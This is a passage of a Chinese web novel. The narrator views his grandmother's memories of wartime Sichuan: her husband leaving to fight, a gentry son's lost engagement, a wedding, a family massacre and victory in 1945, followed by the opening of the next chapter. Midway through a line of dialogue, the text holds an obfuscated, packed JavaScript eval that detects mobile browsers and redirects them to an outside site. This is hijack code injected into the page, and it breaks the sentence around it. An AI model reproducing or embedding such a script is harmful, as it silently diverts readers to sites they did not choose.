“周哥。”敲门声响起。 “来了。”周毅应了一声，松开张淑芬，走到床边看了眼熟睡中的两个儿子，毅然转身开门走了出去。 “毅哥！”张淑芬拿了一双布鞋追了出来，塞到他手里，红着眼眶道：“拿着路上穿。” “好。”周毅笑着接过。 门口，穿着一身粗布短褂的汪家四少爷肩上扛着两把枪，上前一步，笑着道：“张姐，你放心，我跟周哥先去蓉城，我有个表叔在20军当副营长，我们先去投奔他，我会教周哥打枪的。” “汪遇，你好好的汪家少爷不当，为何也要参军？不是明年要成亲了吗？你走了，你的未婚妻怎么办？”张淑芬看着汪遇，脸上满是不解之色。 “国难当前，山河破碎，何以家为？我当以身许国，救国为先！”汪遇敛了笑容，腰杆挺得笔直，眼中多了几分决然。 周毅闻言也是不觉挺直了腰杆，握紧了拳头。 周砚微微张着嘴，看着汪遇心神震荡，国难当头，富家少爷亦投身救国，无所畏惧。 张淑芬抿嘴，眼泪又忍不住在眼眶中打转。 汪遇从脚边提起一个食盒，递给张淑芬，语气软了几分：“张姐，我今晚是翻墙逃出来的，走得匆忙，劳驾你明日替我去一趟嘉州，给邱府邱小姐送一斤卤牛肉。 这食盒里还有一封我给她写的信，请务必和食盒一并交给门房。你只要说我的名字，门房会知晓的。” “邱府？哪一个邱府？”张淑芬追问道。 周砚也是下意识往前走了一步，邱府？邱小姐！ “东大街街尾，迎春门正对着的第一家，邱府，你一问便知。”汪遇说着又摸了十枚银元递向张淑芬，“张姐日后再去嘉州城，若是顺路，请往邱府送一份卤牛肉，她就爱吃你做的卤牛肉。” “好。”张淑芬把银元收下，点头道：“我定给你送到。” “果然！”周砚忍不住拍手，竟真的是那个邱家，邱老太这会应该是二十岁左右的邱家大小姐，或许汪遇一去不回，这封信和这份卤牛肉，便成了她一生的心结。 “周哥，走！”汪遇把一杆枪丢给周毅，转身向着院外走去。 周毅再看了一眼张淑芬，也是决然的快步跟上。 张淑芬有些踉跄的追到院门口，看着他们驾着马车离去，还是忍不住带着哭腔喊道：“周毅！我等你回来！” 驾着马车的身影晃了晃，用力抽了一记马鞭。 张淑芬看着马车消失在村口，许久才把院门关上，双腿一软，不受控制的靠着门瘫坐在地，抱着腿低声抽泣。 周砚站在旁边，下意识伸手想要安慰她，手却穿了过去。 是啊，她也只是一个二十八岁的女子而已，带着两个孩子，乱世开启，丈夫出川报国，此刻内心该有多惊惶。 “没事的，他会回来的。”周砚在心中默默说道，可惜她听不到。 画面再转。 平板马车停在了迎春门对着的东大街，张淑芬两眼红肿，叮嘱两个孩子在车上不要乱跑，打开手边的食盒，看了眼里边的漂亮青花瓷盆和一封信。 周砚跟着看了一眼。 封面上写着： 绮绮玉展 汪遇 笔迹遒劲有力，让周砚自愧不如。 信里写了什么？ 或许便是邱老太的心结所在。 张淑芬确认信和卤牛肉都在，便重新盖好食盒，下车找路边街坊询问后，叩开了邱府大门。 周砚站在她身后，看着眼前精致华美的邱家老宅，此刻还是一座颇具江南水乡意境的四合院，白墙青瓦，飞檐木雕，厚重的红木大门，门口立着一对栩栩如生的石狮。 占地不算广，可处处透着精致。 与半个世纪后的破落模样，完全不同。 “这是苏稽汪家汪遇少爷托我给你们家小姐带的卤牛肉，里边还有一封给小姐的信。”张淑芬把食盒递上。 “往常都是汪少爷亲自送来，怎么今日遣你送来？”门房接过食盒，有些意外，但还是看着她颇为客气道：“要不要喝碗水？” “汪少爷有事来不了，便托我送来了，不用喝水，我还有两个娃娃，东西送到，我就走了。”张淑芬摇头，转身驾车离开。 周砚飘在马车后边，回望着邱府的方向，门房把大门关上，不多时，马车转过拐角前，他看到了邱府的大门再度被打开。 一道穿着米色旗袍的倩影冲了出来，站在街头左右回望，精致绝美的面庞上挂着泪痕，满是慌乱与茫然。 是她。 邱府小姐邱绮。 段语嫣有七分像她已是美女，邱小姐的容貌、身段皆是绝佳，此刻却是凄美。 她应该已经看了信，或许只是看了开头… 马车拐入旁边那条街道，视线随之消失。 … 呕~呕—— 张淑芬扶着院墙干呕了几下。 “淑芬，你最近怎么经常干呕啊？是不是身体不舒服？”一个微胖女人给她端了一碗水来，一边轻抚着她的后背关切道。 周砚退到一旁，抬头看了眼天空：1937年10月16日，早，6:11 张淑芬接过碗喝了一口温水，轻抚着小腹道：“林嫂子，我可能怀上了。” “真的！”林嫂子惊喜道：“太好了！小叔子要是知道了，肯定很高兴！” 张淑芬也笑了笑，但笑容中又有一丝愁绪，低声道：“也不知道周毅他到哪了，现在过得好不好。” “淑芬你放心，小叔子吉人自有天相，打完鬼子就回来了，肯定没事！”林嫂子笑着宽慰道：“前几个月要好好养胎，接下来你可千万别干重活了，你就负责管卤水和卤肉，剩下的粗活交给我来！” “那就麻烦林嫂子了。”张淑芬有些不好意思道。 “一家人，有啥子麻烦，反正你也给我开工资，我该做的。”林嫂子不以为意的摆手。 周砚的目光不禁落在了张淑芬的小腹上，这是…三伯周汉？ 算算年纪，还真是今年怀上，明年五月出生。 淑芬一个女人，带两个孩子还要忙着做卤肉已经够苦够累了，又怀了一个，日子可不太容易。 好在老周家有互帮互助的传统，除了来帮工的林嫂子，不一会又有两个嬢嬢主动上门来搭把手。 听说张淑芬怀上之后，立刻表示从明天开始，一早都来帮忙干活。 张淑芬说要给她们发工资，但被她们严词拒绝了。 张淑芬坐在一旁，默默揩拭掉眼角的泪水，便又笑着起身进了厨房。 周砚想跟着进去，画面骤然一变，眼前出现了一道门。 “使劲！使劲！头出来了！” “儿子！生了个儿子！” 房间里传来了婴儿的啼哭声和林嫂子高兴的声音。 周砚站在门口，看着门上的时间：1938年5月16日，午，12：32 三伯周汉，呱呱落地，转场快到他有点触不及防。 婴儿裹上小被子，几个村里的嬢嬢进进出出，帮着收拾打理，很快屋里就重归平静。 周砚这才飘了进去。 张淑芬脸色苍白，身后垫着个枕头，看着身旁刚出生的孩子，脸上露出了一个虚弱的笑容。 周清和周泽两个小萝卜头趴在床边，一脸好奇的打量着刚出生的小弟弟。 “妈，怎么又是个弟弟啊？不是说好给我生个妹妹吗？”周清抬头看着张淑芬说道，语气中带着几分小失望。 “嗯，要妹妹。”周泽跟着点头。 “好好好，下次给你们生个妹妹。”张淑芬略带无奈地笑道，看着襁褓里的孩子，却低声道：“儿子好啊，这乱世，女孩要遭罪的。” “淑芬啊，来，先喝碗小米粥，孩子我给你看着，先把月子坐好，卤肉等出了月子再忙活。”一个五十来岁的女人端着一碗小米粥走进门来，走到床边坐下，满眼心疼的看着张淑芬，“生孩子，太遭罪了。” “娘，我没事，这都第三个了，早习惯了。”张淑芬扯起嘴角笑了笑。 “娘？这是祖祖？”周砚看着这女人，眉眼和张淑芬确实有几分像，他记得祖祖的名字好像叫李珍，去扫过墓。 “不管生几个，还不是一样疼，我生了你们兄妹四个，哪个不是疼的死去活来，鬼门关上走一遭才能把孩子生下来。”李珍舀起小米粥吹了吹，小心喂给张淑芬，一边道：“我跟你老汉说了，等你出了月子我再回蓉城，你一个人，周毅又不在，我实在放心不下。” “娘，谢谢你。”张淑芬红着眼睛看着李珍。 “我是你娘，有啥子好谢。”李珍笑着伸手摸了摸她的头，宠溺道：“我还经常想起你小时候的模样，一转眼你都成三个孩子的妈了。” “外婆，我也想吃。”两个小萝卜头凑过来。 李珍笑着说道：“等我喂你们娘吃了，再给你们盛哈，她吃了要休息一会。” “嗯嗯。”两个小萝卜头乖巧点头。 周砚笑着站一旁，有妈妈在，挺好的，至少在她最脆弱的时候，身边有个最爱她的人。 …… 画面渐渐模糊，再变得清晰。 墙面上，时间：1938年6月15日，早，7：30。 张淑芬头上包着一块帕子，在院子里散步。 门外突然响起了敲门声。 “我来！”李珍快步走了出来开门。 门外站着的是提着母鸡和一包红糖的黄四郎，晃眼一年过去，他看起来苍老了几分，原本胖乎乎的脸颊也瘦了一圈。 “黄老板，你啷个又来了，这都第三回了，我说了，要等淑芬把月子坐满才行嘛。”李珍叹了口气道。 黄四郎陪着笑脸道：“李嬢嬢，我就是算着时间来的嘛，我也没办法，客人总是问啥时候上卤味，我一个月没有卖，客人都要跑光了。你晓得撒，这个世·道生意不好做啊……” “黄老板，明天你让人来拉卤肉嘛，你要好多，我先记着。”张淑芬走了过来，笑着开口道。 “要得！太好了！张大妹子，你再不复工，不止是我们飞燕酒楼熬不住，镇上的食客也等伤心了。”黄四郎满脸高兴，“卤猪头肉那些照旧嘛，卤牛肉要一百斤，好多客人找我预定，都堆起的。” “要得。”张淑芬点头，看了眼他手里提着的东西：“东西你提回去嘛，上两次来都带了东西的。” “哪有提回去的道理，这老母鸡你留着好好补一补嘛，我就先回去了。”黄四郎把东西放到门槛上，转身走了。 “淑芬你……”李珍有点担心地看着她。 “妈，今天月子就坐满了，也该开工了，趁着现在还能挣钱多挣点，以后的世道还不晓得怎么样，养三个娃娃要多存点钱。”张淑芬笑着打断她：“你去帮我喊林嫂子过来一趟嘛，有她帮忙，我省了不少力气。” “要得。”李珍点头出门去了。 周砚看着坐完月子，胖了有二十来斤的张淑芬，身材倒也依旧匀净，脸上多了些肉，看着还更亲切一些，皮肤也是白白嫩嫩的。 张淑芬站在院子里的水缸前，细细打量着自己许久，像是下定了某种决心。 …… 1939年8月16，午，11：40 苏稽石板桥头。 张记卤味摊前零散围着几个客人，买了卤味之后便匆匆快步离去。 原本熙熙攘攘，颇为热闹的桥头集市，如今只有几个老人在卖一些手工竹编的簸箕、草鞋，面摊老板娘皱眉苦脸的坐着，不见当初在旁煮面的老板。 一眼看去，显得有些萧条。 卤味摊后边站着一个黑黑胖胖的女人，周砚仔细辨认了一下，才认出是张淑芬。 短短一年时间，她变黑了许多，更是变胖了许多，看着足有一百六七十斤。 一头短发也是修的颇为潦草，看起来再无初见时的那份干练清爽，属于丢在人群里不会多看两眼的那种。 两个小萝卜头旁边多了一个更小的萝卜头，坐在特制的背篼里，眼巴巴的瞅着两个哥哥在一旁玩跳格子。 “老板，我要一斤卤牛肉。”一道温柔的女声拉回了周砚的思绪。 回身看去，脸上露出了几分讶色，这穿着一身黑色旗袍，眼眶微红，憔悴却依旧不失美貌的，不正是那日惊鸿一瞥的邱家小姐邱绮吗！ 她手里捧着一个青花瓷盆，递向张淑芬，低声道：“装在这里面。” 张淑芬看着那青花瓷盆也是愣了愣，两年没看到这个盆，但显然她还是认出来了，她接过盆，又看了一眼面前这个漂亮的姑娘，嘴唇动了动，点头道：“好。” 林嫂子挑了一块牛腱子准备切，张淑芬洗了手，走过来接过刀，“林嫂子，我来吧。” 牛肉切片，然后一片片顺着装进青花瓷盆，在盆里盘成圈，就如两年前她给她做的那份一般。 邱绮双手捧着接过青花瓷盆，看着里面堆叠整齐的牛肉沉默良久，抬头看着张淑芬轻声道：“谢谢。” 她捧着青花瓷盆转身，肩膀微颤，一步一步走向一旁停着的马车。 周砚看到了眼泪从她脸颊滑落，滴落在石板桥头的青石板上。 丫鬟上前，递过一枚银元，快步跟上。 张淑芬手里捏着那枚银元，也是看着邱绮的背影愣愣出神，等到马车远去，轻声自语：“两年了，汪少爷有给她写信吗？” “嘛嘛…” 孩子的哭声打断了她的思绪，她连忙把手在围裙上蹭了蹭，把娃抱起来哄。 “刚好两年整，她亲自拿着青花瓷盆来买卤牛肉，是有什么寓意吗？”周砚看着马车消失在视线中，突然有些好奇汪遇那封信里写了什么。 “淑芬，你最近怎么又晒黑了一些，而且看起来比之前还胖了点？”林嫂子收拾东西，回头看了眼张淑芬道，“你刚嫁过来的时候，吃东西可克制了，生怕肚子上多长一点肉。” “家里没个男人，黑点胖点事情会少很多，瞧我现在都能掀翻一个壮汉了。”张淑芬笑了笑道：“三个娃还指着我活呢，这年月，女子好看是祸不是福。” 周砚闻言默默攥拳，看着张淑芬的脸愣愣出神。 哪有什么铁娘子，不过是为母则刚而已。 老太太原来从年轻时候就这般清醒。 …… 画面在孩子的哭声中渐渐模糊。 嘉州城热闹的街道渐渐变得清晰。 周砚下意识先抬头看了眼天空：1939年9月8日，早，9:00 平板马车停在了一处巷子里，黄四郎正指挥着几个干活的从马车上往后厨搬运卤肉，车上装了八筐卤肉，足有数百斤。 张淑芬穿的一身粗布衣裳，只带了周清过来，在旁边看了一会，等只剩黄四郎的时候，才开口小声问道：“黄老板，今天怎么要那么多卤肉？有人办席吗？” “你没听说啊？”黄四郎有些意外地看着她，压着声音道：“城南段家大公子迎娶邱家大小姐，今天在我们飞燕酒楼办酒席呢！嘉州名流齐聚，据说督察专员和县长都会来，要办整整八十多桌呢！” 张淑芬若有所思，问道：“邱家？迎春门的邱家？” “对！”黄四郎笑着点头，“邱小姐小姐可是嘉州城有名的美人，她最爱吃你做的卤牛肉了，常来我们飞燕酒楼吃饭，每次必点卤牛肉。” 张淑芬沉默了，想了想，又问道：“那段家大公子是良配吗？” 黄四郎闻言笑道：“张大妹子你这话说的，段家可是嘉州第一大户！段家大公子留洋八年，年初刚回来，风度翩翩，学富五车。 我前两日去段家府上见过，有幸和他交谈了几句，待人温和，说话做事也很有涵养，咱们嘉州城找不到第二位和他一般的青年才俊。 有说法他要去国立中央大学当教授，也有传闻说他成亲之后，还要继续出国深造。邱小姐和段少爷成亲，那可真是天作之合，郎才女貌！” 张淑芬闻言舒了口气，也跟着笑了：“挺好的，那邱小姐就不怕被惦记了。” “是啊，之前据说有个副·官想要纳她当妾，把邱家都逼上绝路了。段家上门提亲，才把此事化解，不然……”黄四郎左右瞧了一眼，压低了声音道：“那副·官五十多岁，据说还喜欢打女人，娶进门的小妾**了两个呢。” “真是混球！”张淑芬咬牙，下意识握拳。 “说不得，说不得。”黄四郎连忙摆手，悄摸摸给张淑芬塞了一个沉沉的口袋，“你回去再点，明天马车就修好了，我让我老表的大儿子来取货，你就不用送了。” “要得。”张淑芬应了一声，把钱袋子揣好，驾着马车离去。 周砚若有所思，难怪那日邱绮特意来苏稽，端着青花瓷盆买了一斤卤牛肉，她是在用那种方式来告别汪遇吧？ 乱世佳人，命运早已不是自己能够左右的。 两年痴等，不知是否有等到他的信或消息？ 至少她还算嫁得良人，在这乱世之中，没有沦为军阀玩物，也算幸运的了。 从结果来看，若是她嫁给了汪遇，应该也会死在后来的汪家大火之中，化为冤魂。 当然，这是他一个旁观者的看法，用结果来推导，向来没有人情味。 周砚本以为画面会再转，但马车从巷子里出来，却转到了街上。 玉堂街上，人山人海。 段、邱两家联姻，今日大婚，在飞燕酒楼办婚礼。 嘉州城中百姓，不少来看热闹的，挤满了玉堂街的两侧。 嘉州第一家族段家少爷，求娶嘉州第一美人邱家小姐邱绮，对于笼罩在战争阴影之下的嘉州，算得上是难得的喜事。 大家都想来看热闹，沾沾喜气。 段家家丁抬着一箩筐的喜糖沿路散给围观的人们。 “来了！来了！”不知谁喊了一声，街上的人们纷纷伸长了脖子向着长街那头瞧着。 张淑芬把马车栓好，抱着周清也是挤到了街边，探头看着。 周砚飘了起来，目光越过人群，看到了锣鼓队后方一辆缓缓驶来的军用敞篷吉普车。 段家果然有钱有势，竟连军方的车子都能借的到。 “前方都打成那样了，一个商贾之子结婚，竟然用的军车！实属可恶！” “你懂个锤子！段家上个月为抗日捐款一百万银元！这车是省里特批给段家当婚车的，为的就是表彰段家捐款救国的大义，堵上你们这些家伙的嘴巴！不然督查专员和县长能来？” “一百万银元！” “段家硬是慷慨大方！该他们挣钱！” 围观百姓纷纷咋舌，对段家好感度大涨。 敞篷车后排坐着的正是新人，周砚飘得高，看得清楚。 新郎穿着一身蓝色西服，头发二八分，长得确实俊朗，身姿笔挺，坐在车里看着就挺高的，鼻梁上架着一副金丝眼镜，看着斯斯文文的。 新娘穿的不是婚纱，而是一套红色的喜服，凤冠霞帔，手里拿着一把团扇，挡着面，坐的端端正正，腰背同样挺的笔直。 车子缓缓驶过的时候，可以同时看到两人的侧脸。 才子佳人，确实配一脸。 飞燕酒楼门口，数千响的鞭炮响彻街道。 吉普车缓缓停下，新郎先下了车，高高瘦瘦，却又能撑得起西服，绝对不是个瘦竹竿。 伴娘拉开吉普车门，穿着华丽霞帔的新娘却不太好下车，可把众人急坏了。 新郎见此走了过去，弯腰进车里，把新娘从抱了下来。 团扇垂下，露出了邱绮那张绝美的脸，她的脸上有着一丝惊讶，微微上扬的嘴角，则带了点甜蜜的味道。 郎才女貌，在这一刻具象化了。 西装皮鞋与凤冠霞帔，竟也能如此般配。 人群爆发出了一阵欢呼声和掌声，围观的人们为这对新人送上了欢呼与祝福。 “真好， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200258|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们应该会幸福的。”张淑芬也欣慰地笑了，不过又有些惆怅的嘀咕了一句：“可怜啊汪遇，要是活着回来，应该会很痛苦吧？” 人群向飞燕酒楼涌去抢红包和喜糖，张淑芬剥了颗喜糖喂到周清嘴里，转身往马车走去，驾车往出城方向而去。 周砚突然意识到，其实老太太是见过邱绮的，甚至还围观过邱绮和段兴邦的婚礼。 但她从始至终只知道他们是邱小姐和段公子… 她甚至不知道他们的名字！ 更不会知道段兴邦后来还成了**工程师。 是的！她大概率也不知道什么是**工程师！ 关键词就是错误的，所以怎么可能搜的到想要的东西！ 周砚飘在马车上空，遥望着飞燕酒楼的方向，也在为汪遇默哀：这下真成路边一条了… 他现在相当好奇，汪大爷到底是不是汪遇！ 当然，他对汪少献身报国，不顾儿女私情的壮举，还是相当敬佩的。 忽然，他瞧见了在街边蹲着的一个穿着黑色衣服的男人。 人群向着飞燕酒楼涌去后，他蹲在那里，变得有些显眼，还有点…熟悉？ 周砚眼睛眯起，试图去看他的脸。 马车转过街口，视野瞬间消失。 “应该不是吧？”周砚伸着脖子，试图确认，但后退的街道已经开始变得模糊。 —— 画面再转，回到了苏稽石板桥头。 时间刻在石板桥上：1943年6月8日，午，11：45 “张大妹子，卤牛肉的量我要再减一半，生意太难做了，那些当官的三天两头赊账，一个月下来还亏起本，唉。”黄四郎两鬓生了不少白发，看起来比上回苍老了不少。 “要得。”张淑芬还是黑黑胖胖的，收东西的手一顿，看着黄四郎道：“要得，今年接下来的卤牛肉专卖费也不要了嘛，我晓得你也难。” “你这个人，就是太善良，又太懂别人的心思了，这话我到嘴边三回都说不出口。”黄四郎一脸感动。 张淑芬笑了笑，突然好奇问道：“对了，那段公子和邱小姐，后来怎么样了？” “你还惦记着这事儿啊？”黄四郎有点意外，不过还是答道：“我听说那副官不甘心，私下里有些小动作，段公子担心邱小姐的安全，所以带着她又出国深造去了，据说段家不少人都出国去了，段家捐了很多钱，上面有人护着呢。” “那挺好的。”张淑芬点点头。 “周毅有消息了吗？这么多年过去，就没往家里递过信？”黄四郎好奇问道。 张淑芬神色一黯，摇了摇头。 黄四郎有点尴尬，忙道：“张大妹子，那我就先回去了，明天还是让我老表来拿牛肉。” 张淑芬点点头。 黄四郎往马车走去，伸手打了一下自己的嘴巴，“我真该死！就多嘴问这一句。” “妈，卤牛肉给汪家送过去了，这是钱。”一个满头大汗的半大小子跑了过来，手里捏着一把法币。 “跑慢点嘛，满头大汗。”张淑芬笑着拿了毛巾给他把头上的汗水抹了，给他拿了点钱：“你去张老头那里买一包米花糖，把两个弟弟带过来，我们要回去了。” “要得。”周清笑着应道，转身又跑了，两条长腿甩的飞快。 周砚忍不住笑，大伯小时候还真皮实啊，不过这孩子养的真好，才十二岁就到张淑芬肩膀那么高了，而且挺壮实的。 大户的日子也不好过，张记卤味的生意急转直下，张淑芬一个人就把卤味摊撑起来，便没再找林嫂子帮忙。 三个孩子坐在马车上，分着一小包米花糖吃，脸上满是笑容。 马车穿过苏稽街道，目之所见，处处挂白绫。 老人、妇女坐在门口，目光无神，还能听到压抑的哭泣声从哪黑黢黢的门洞中传出来。 只有孩子在街上蹦跑，脸上还能看到笑容。 壮士出川三百万，谁知十户九无郎！ 一股悲凉之情，从周砚的心中升起。 日寇从未踏足四川，可川军的死伤却是第一的。 张淑芬抿着嘴没有说话，抽了一鞭马，加快了几分速度。 马车驶入周村，一路上同样到处是白绫。 远处的山坡坡上，尽是新坟。 张淑芬把马车在家门口停下，缰绳递给周清，摸出钥匙开门，推开门，便看到门后站了一道影子，下意识摸向了别再腰间的小刀。 “淑芬，是我。”门后的人走了出来，按住了她的手，低声道：“别出声。” 张淑芬眼睛蓦然睁大，手不受控制的颤抖，腿一软，便要往地上倒。 周毅连忙把她抱住，轻轻拍着她的后背：“放松！放松！是我回来了。” 门外，马车上的三个孩子都瞪大了眼睛。 “坏人…”最小的周汉的话到了嘴边，被周清一把捂住嘴强行闭麦，然后驾着马车进了院子，冲着周汉嘘了一声，颤声道：“是老汉儿！” “老汉儿？”周泽坐在车上盯着周毅看，眼里满是好奇。 张淑芬有点缓过来，回头看着周清道：“周清，把门关了，带两个弟弟先进去，不要说话。” “要得！”周清应了一声，把马栓好，又去把大门反锁上，拉着两个弟弟进了堂屋。 “我们也进去。”周毅一把将张淑芬抱了起来，走进了隔壁的房间。 张淑芬抱着周毅，终于忍不住忍不住哭了，“六年了，你知道这六年我是怎么过来的吗？” “我晓得，对不起，我也是今年打游击转战到四川才找到机会回来这一趟。”周毅紧紧抱着张淑芬，压着声音说道。 “游击？”张淑芬愣了一下，抬头看着周毅：“你是…八·路？” “对。”周毅点头，声音更轻了：“我三七年去了上海，沪松战役我背着汪遇活了下来，他受伤转到后方去修养，我跟着大部队到处跑。后来我被一支八路救了，我觉得他们更有纪律性，对战友更关心爱护，我就加入了他们…” 周毅抱着张淑芬，把这几年的经历简短说了一遍。 听着似乎挺轻松的。 可周砚听到那一场场战役，心里哇凉哇凉的，周毅同志可真是从尸山血海里爬出来的。 命硬！ 张淑芬不傻，她每天都看报纸，一直关心着川军和抗战的消息，听完早已泪流满面。 周毅每年都会想办法寄一封家书回来，只报平安，其他什么都没说。 原来是因为加入了八路。 “这次回来，还走吗？”张淑芬问道。 周毅点头：“明天就走，队伍还在等我，这次护送受伤的同志回来，任务完成，就要归队。” 张淑芬张了张嘴，挽留的话到了嘴边又一个字都说不出口，抹了一把眼泪，吸了吸鼻子道：“我去给你做饭。” “要得，在外面最想的就是你做的卤肉。”周毅笑着点头。 “我去给你做。”张淑芬出去，把三个孩子拉过来，指着从卧室出来的周毅道：“喊老汉儿。” 三个小孩看着周毅，眼神都怯生生的。 “老汉儿！”周清第一个扑了过来，喊道。 周毅走的时候，他已经五岁了，有些记忆。 大哥喊了，另外两个萝卜头也跟着扑了过来，嘴里喊着老汉儿。 “欸！”周毅笑着应道，从怀里掏了掏，摸出几颗糖递给他们三：“来，给你们带了糖。” “老汉，妈妈说你去打鬼子了，打**吗？” “老汉儿，妈妈说你是英雄！” 三个儿子围着周毅，嘴里含着糖，立马就熟络起来了，叽叽喳喳问个不停。 张淑芬张罗了一桌子菜，腊肉、腊排骨，卖剩下的卤猪头肉，还有一截平时没舍得吃的香肠。 三个小子可高兴了，一桌子肉，吃的满嘴流油。 周毅吃了两碗饭，也是吃的很香。 “我来洗。”吃完饭，起身抢着洗碗，“你这些年带娃辛苦了。” “辛苦啥子，你在前线杀鬼子，我再后方带娃，不辛苦。”张淑芬摇头在，笑着看着他收碗抹桌子。 以前觉得这很寻常，可上一回看他这样，已经是六年前了。 周砚默默在旁看着，战争开启之后，这个家难得的团聚时刻。 时间一晃，已是晚上。 三个儿子跑了一天，在外屋睡得死沉死沉的。 张淑芬拔开周毅的衣服，看着他胸膛、肩膀上到处的伤痕，眼眶泛红。 “都是小伤，你看我现在不是一样活蹦乱跳的。”周毅笑着道。 “黑了，也变壮实了。”张淑芬摸着他的脸，轻叹了口气：“也老了，都长皱纹了。” “你倒是一点都没变，还是那么漂亮。”周毅捧着她的脸，笑着说道。 张淑芬脸一红，伸手锤了一下他的胸膛：“我现在变得又黑又胖，怎么可能没变，你真是睁起眼睛乱说话，我还觉得稀奇，你啷个就一下把我认出来了呢？” “因为在我眼里，你一点都没变，你还是和当年一样，那么漂亮，会发光一样。”周毅捧着她的的脸，一脸认真地说道：“我永远能一眼认出你。” 张淑芬笑了，笑得泪流满面，然后抱着他吻了上去。 站在门口的周砚连忙闪身出门，顺便算了一下时间。 好家伙，他爸是这天造出来的。 …… 苏稽石板桥头。 时间1944年1月8日，午，11：00 卤肉摊前零零散散来了几个客人。 他们都在谈论一件大事。 昨晚汪家大院起了一场大火，汪家上百口人和家丁丫鬟全被烧**。 有人说听到了**。 有人说是山贼**放火劫财。 还有人说是军阀干的，就是惦记汪家的丝绸厂。 反正苏稽第一大户汪家，一夜之间没了。 张淑芬听到消息，一个早上都有些魂不守舍。 收摊的时候，她终于忍不住捂着脸哭了：“汪家老爷夫人都是好人，不该这样的，还有那么多娃娃，这些天杀的该下地狱！” 汪家是卤肉摊的大主顾，汪遇走了之后，汪家还是每天让她送肉去府上，待客的时候要的多，平日也要一斤卤牛肉。 几个孩子常去府上送肉，常能得到夫人赏赐的糕点和零食，与汪家几位少爷、小姐玩的也挺好的。 谁能想到昨天她还去府上送了肉，今天早上来就听说了这个消息。 马车往杨码头走了一段，她还是掉头回去了，她不敢，不敢看，也不敢让孩子们看到那一幕。 … 画面再转。 苏稽街上全是欢呼的人群。 时间：1945年9月3日。 抗战胜利了。 张淑芬怀里抱着一个奶娃，身后跟着三个半大孩子，也来到了街上。 “妈妈，他们在喊啥子？”周汉问道。 “日本鬼子被我们打败了！” “我们抗战胜利了！” “我们赢了！” 张淑芬声音有些沙哑，眼眶早已泛红。 街上的每一个人，又何尝不是如此，都在哭着笑，笑着哭！ 为了这一刻，他们等太久了，付出太多了！ 周砚看着欢呼的人群，也笑了。 这是中华民族的新生！ 宁为战死鬼，不做**奴！ … 那一张张哭着笑着的脸渐渐模糊。 画面转回到了苏稽桥头。 时间：1946年1月8日，午，12:01。 “听说了吗？汪家四少爷汪遇回来了！据说成大官了！昨天带队把高庙的匪帮给剿了！” “我听说杀的血流成河！忌日以仇人的脑袋拜祭家人！” “太解气了！” “可惜哦，当年汪少爷和邱小姐还有婚约呢。” 张淑芬今天挺高兴的，去刀儿匠那里切了一块二刀肉，炒了一盘回锅肉。 几个孩子都吃的非常高兴。 … 画面开始加速，犹如走马观花一般。 周砚看到了四九建·国，爷爷胸前绑着大红花荣归周村。 张淑芬脸上终于有了笑容。 汪遇被抓回了嘉州，接受审判，但他拒不认罪，自称卧底，但上线已经牺牲。 周毅听闻此事后，还去见过汪遇一面。 回来之后，他开始为他收集证据平·反。 但随着抗美援朝战争爆发，他只能将收集的资料交给张淑芬，由她代为递交组织，匆匆归队，前往北方。 此事后来如何，张淑芬也不清楚。 记忆的最后，停在了周村村口。 一等功臣牌匾被各级领导和自发而来的群众护送送到周村。 这天下着****细雨，张淑芬缠着黑布，挺着孕肚，带着四个披麻戴孝的孩子迎接牌匾。 这次她没有哭。 只是眼里再无神采。 … —— PS：一万二，一口气把记忆写完！ 就为了让你们爽爽看完！ 说到做到，求月票！ 已燃尽，求月票！   (本章完) 第141章 代号：绮遇（6k二合一求月票！） 周砚缓缓睁开眼睛，两行清泪从眼角滑落。 双目无神，两眼空空的躺了好一会，眼球才跟着转动起来。 他感觉好像看了一场很长很长的电影，旁观了老太太最艰苦的十余年人生，也见证了那些年那些人，为保卫家国做出的努力和牺牲。 后劲太足，缓了一会，周砚才从床上爬起来，晃了晃有些昏沉的脑袋，拉开床头灯，拿起床头的手表看了一眼。 八点半。 他躺下准备睡觉的时候是八点左右。 退出记忆之后，他应该躺了有二三十分钟。 所以，进入记忆，大概率外界时间没有流逝。 或者跟读取菜谱一样，只有两三分钟的凝滞时间。 挺好的，这样不用担心进入记忆被卡住几个小时毫无知觉。 从床边的柜子上拿过本子，拧开派克钢笔，周砚在纸上刷刷写下几个名字，再拉了几条线，把人物关系标注上。 当年风度翩翩的段兴邦已经去世，邱绮守着邱家老宅而非婚后与段兴邦一起度过更多时光的段家老宅，说明她的心结并非来自寿终正寝的段兴邦，更有可能是曾经有过婚约，却因为战争最终错过的汪遇。 汪遇拉出一条线，周砚在后边写上汪然，顿了顿，又标注了一个‘？’。 建国之后，汪遇被押回了嘉州，接受审判。 他曾担任国党高官，长期活跃于港澳粤沿海区域，应该是最容易离开的那一批人。 周砚在张淑芬的记忆中看到了周毅为他整理的小部分材料，汪遇在1941年加入共·党，成为卧底，主要负责通过国·党渠道为我党运输急需的药物。 可惜接头人和上线皆已牺牲，自证困难重重，周毅休假三个月，几乎一直在为此事奔波，托了许多关系，终于找到了一些眉目。 资料上交之后，张淑芬因为没有渠道，并未跟进，后续也无人通知她，所以汪遇的结局如何，有待查证。 现在要查这个事情，应该不难，周砚可以求小叔去调资料，只要不涉密，肯定能查到结果。 周砚既期待汪大爷就是汪遇，又不希望他是。 因为汪遇实在太苦了。 “国难当前，山河破碎，何以家为？我当以身许国，救国为先！” 他的话依稀还在耳边回响，振聋发聩！ 他这一生，无愧于国家，却误了自己一辈子。 周砚看着纸上的名字，一张张鲜活的脸浮现在眼前，许久才把笔记本合上。 或许在他们自己的记忆中，许多事情都已经变得模糊。 他何其有幸，还能通过张淑芬的记忆碎片，看到他们年轻时的模样。 “赞美老太太！”周砚笑着自语道。 关系已经厘清，明天先去找汪大爷，验证一下他的猜想。 然后再去一趟嘉州邱家，接触邱绮，看如何才能通过他掌握的这些信息为她解开心结。 卤牛肉！ 周砚打开面板，看向了那金光闪闪的【卤牛肉】菜谱。 这可是他的敲门砖。 